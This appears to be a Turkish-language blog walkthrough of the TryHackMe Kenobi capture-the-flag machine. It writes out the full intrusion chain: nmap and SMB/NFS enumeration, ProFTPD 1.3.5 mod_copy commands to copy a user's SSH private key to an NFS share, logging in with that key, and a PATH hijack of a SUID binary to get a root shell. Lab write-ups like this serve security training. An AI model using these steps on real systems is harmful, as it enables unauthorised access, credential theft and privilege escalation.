CTF: TryHackMe Kenobi Çözümü

Merhaba, bu yazıda Tryhackme’de bulunan Kenobi makinesinin çözümünü inceleyeceğiz. Openvpn bağlantısı ile ilgili bilgi almak istiyorsanız Tryhackme CTF’deki ilk yazımızı okuyabilirsiniz. Bu çözümde kullandığım ip adresi 10.10.7.13 oldu. Artık bilgi toplama aşamasına geçilebilir.

sudo nmap -A -Pn -T4 10.10.7.13 ile geniş çaplı bir port taraması yapıldı. Böylelikle 7 tane portun açık olduğu öğrenildi. 21 ftp, 22 ssh ve 80 http portunun açık olduğu görülüyor. 21 ftp portunda ProFTPD 1.3.5 sunucusunun çalıştığı öğrenildi. Burada 445 portundaki Samba uygulaması da dikkat çekiyor. 139 portundaki samba uygulaması genelde yerel ağlarda kullanıldığı için saldırıya çok açık bir port değil. Ayrıca burada 111 portunda RPC servisinin de aktif olduğu görülüyor.

nmap -p 445 –script=smb-enum-shares.nse,sbm-enum-users.nse komutu ile 445 portuyla ilgili daha çok bilgi alınabilir ve anonymous olarak giriş yapılabildiği öğrenildi.

smbclient //10.10.7.13/anonymous ile bu makineye erişim sağlandı. Anonymous olarak bağlantı yapıldığı için parola yok. Parola kısmında hiçbir şey yazmadan enter yapıp geçebilirsiniz.

dir cmd komutu ile mevcut dizindeki dosyalar listelenir. Burada bir log.txt dosyası var ama incelendiğinde içinde önemli bir şey olmadığı görülüyor.

nmap -p 111 –script=nfs-ls,nfs-statfs,nfs-showmount 10.10.7.13 komutu ile 111 portundaki mount bağlantı kurulabilecek dizinler araştırıldığında /var dizinin olduğu görülüyor.

searchsploit proftd 1.3.5 komutu ile ProFTPD 1.3.5’da kullanılabilecek exploitler arandığında 3 tane exploit bulundu. Uzaktan komut çalıştırma mod_copy modülündeki ilgili komutlar kendi sitesinde yer almaktadır. Bu modülde SITE CPFR ve SITE CPTO komutları kullanıldığı görülüyor.

nc 10.10.7.13 21 ile 21 ftp portuna bağlantı gerçekleştirilir.

SITE CPFR /home/kenobi/.ssh/id_rsa komutuyla id_rsa şifreleme anahtarı kopyalanmak için bir hedef dizin bekliyor. (home/kenobi/.ssh dizinini tahmin ederek bulmamızı istiyor. Bence bu yüzden kusurlu bir ctf olmuş.)

SITE CPTO /var/tmp/id_rsa ile id_rsa /var/tmp dizinine kopyalama işlemi başarıyla tamamlanıyor.

sudo mkdir /mnt/kenobiNFS ile masaüstü dizininde /var dizinin mount edileceği /mnt/kenobiNFS adında bir dizin oluşturuluyor.

sudo mount 10.10.7.13:/var /mnt/kenobiNFS ile mount ediliyor.

ls -la /mnt/keneobiNFS ile dosyalar listelenerek mount edilip edilmediği kontrol edilebilir.

cp /mnt/kenobiNFS/tmp/id_rsa . ile id_rsa şifreleme anahtarı masaüstüne kopyalanır.

sudo chmod 600 id_rsa komutuyla id_rsa okuma yazma izni verilir.

ssh -i id_rsa kenobi@10.10.7.13 ile ssh bağlantısı gerçekleştirilir.

cat user.txt komutuyla ilk flag’a ulaşıldı.

SUID bitine sahip özel dosyalar her türlü soruna yol açabilir. Bu tür dosyaları aramak için

find / -perm -u=s -type f 2>/dev/null komutu kullanılır. Bu makinede arama yapıldığında /usr/bin/menu diğerlerinden farklı görülüyor çünkü menu diye bir dosya linux sistemlerde pek görülmez.

/usr/bin/menu komutu ile çalıştırılmak istendiğinde 3 farklı seçenek sunuyor.

strings /usr/bin/menu ile okunabilir satırlara bakıldığında curl ve uname komutlarının /usr/bin/curl veya /usr/bin/uname şeklinde çalıştırılmadan kullanıldığı gözüküyor. Bu da bir zafiyet ortaya çıkarıyor.

echo /bin/bash > curl

chmod +x curl 

export PATH=/tmp:$PATH komutlarıyla zafiyet aktive edilir.

/usr/bin/menu tekrar çalıştırılır. 1 seçeneği ile oluşturulan zafiyet ile root yetkisine ulaşılır.

cat /root/root.txt ile de root flag’ı da bulunur.

 

 

 

 

About The Author

Reply